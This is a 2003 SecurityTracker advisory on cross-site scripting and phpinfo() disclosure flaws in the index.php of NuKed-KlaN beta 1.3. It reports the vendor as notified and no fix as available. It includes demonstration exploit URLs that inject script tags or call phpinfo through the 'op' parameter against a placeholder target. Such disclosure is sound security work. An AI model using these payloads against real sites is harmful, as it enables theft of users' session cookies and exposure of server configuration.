NuKed-KlaN Input Validation Flaws in 'index.php' Let Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1006147
SecurityTracker URL:  http://securitytracker.com/id/1006147
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Feb 22 2003
Impact:   Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): beta 1.3
Description:   Several input validation vulnerabilities were reported in NuKed-KlaN. A remote user can conduct cross-site scripting attacks and also obtain information about the server.

Security Corporation reported some input validation flaws in the Team, News, and Links scripts. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running NuKed-KlaN and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

http://[target]/index.php?file=Team&op=<script>alert('Test');</script>

http://[target]/index.php?file=News&op=<script>alert('test');</script>

http://[target]/index.php?file=Liens&op=<script>alert('test');</script>

It is also reported that a remote user can execute the phpinfo() function to cause the server to display PHP information. Some demonstration exploit URLs are provided:

http://[target]/index.php?file=News&op=phpinfo

http://[target]/index.php?file=Team&op=phpinfo

http://[target]/index.php?file=Liens&op=phpinfo

The vendor has reportedly been notified.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running NuKed-KlaN, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A remote user can also determine information about the PHP configuration.

Solution:   No solution was available at the time of this entry.
